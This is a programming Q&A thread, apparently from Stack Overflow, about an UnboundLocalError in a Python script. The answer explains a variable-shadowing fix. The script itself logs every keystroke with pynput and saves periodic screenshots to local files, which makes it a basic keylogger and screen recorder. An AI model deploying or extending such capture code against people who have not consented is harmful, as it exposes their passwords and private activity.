Reputation: 11
the terminal is outputting an error saying local variable 'Listener' referenced before assignment
. I'm trying to import listener from pynput.keyboard import Listener
I've tried re-writing the program and changing about the import
import os
import time
from threading import Thread, Timer
from mss import mss
from pynput.keyboard import Listener
class IntervalTimer(Timer):
def run(self):
while not self.finished.wait(self.interval):
self.function(*self.args, **self.kwargs)
class Monitor:
def _on_press(self, K):
with open("./log/keylogs/log.txt", "a")as f:
f.write("{} \t\t {}\n".format(K, time.time()))
def _build_logs(self):
if not os.path.exists("./logs"):
os.mkdir("./logs")
os.mkdir("./logs/screenshots")
os.mkdir("./log/keylogger")
def _keylogger(self):
with Listener(on_press = self._on_press)as Listener:
Listener.join()
def _screenshot(self):
sct = mss()
sct.shot(output="./logs/screenshots/{}.png".format(time.time()))
def run(self, interval = 1):
self._build_logs()
Thread(target=self._keylogger).start()
IntervalTimer(interval, self._screenshot).start()
if __name__ == "__main__":
mon = Monitor()
mon.run()
this is the error
with Listener(on_press = self._on_press)as Listener:
UnboundLocalError: local variable 'Listener' referenced before assignment
Upvotes: 1
Views: 63
Reputation: 33145
The problem is that you redefine Listener
in _keylogger
. For an explanation, see Why am I getting an UnboundLocalError when the variable has a value? in the Python FAQ, or Don't understand why UnboundLocalError occurs
To fix it, just change the name of the Listener
instance. Instances are normally written in all lowercase anyway.
with Listener(on_press=self._on_press) as listener:
listener.join()
Upvotes: 2